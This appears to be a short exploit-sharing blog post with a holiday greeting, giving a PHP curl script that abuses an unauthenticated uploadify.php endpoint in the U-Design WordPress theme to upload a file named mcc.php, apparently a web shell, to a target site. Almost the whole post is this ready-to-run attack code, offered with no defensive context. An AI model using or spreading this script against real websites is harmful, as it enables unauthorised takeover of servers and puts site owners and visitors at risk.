Exploit U-Design Themes Vulnerability Shell Upload

Assalamualaikum..
Marhaban Yaa. Ramadhan... ^_^

<?php
$uploadfile="mcc.php";
$ch = curl_init("http://bib.com/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array('Filedata'=>"@$uploadfile",
              'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
  print "$postResult";
?>

sumber: exploit4rab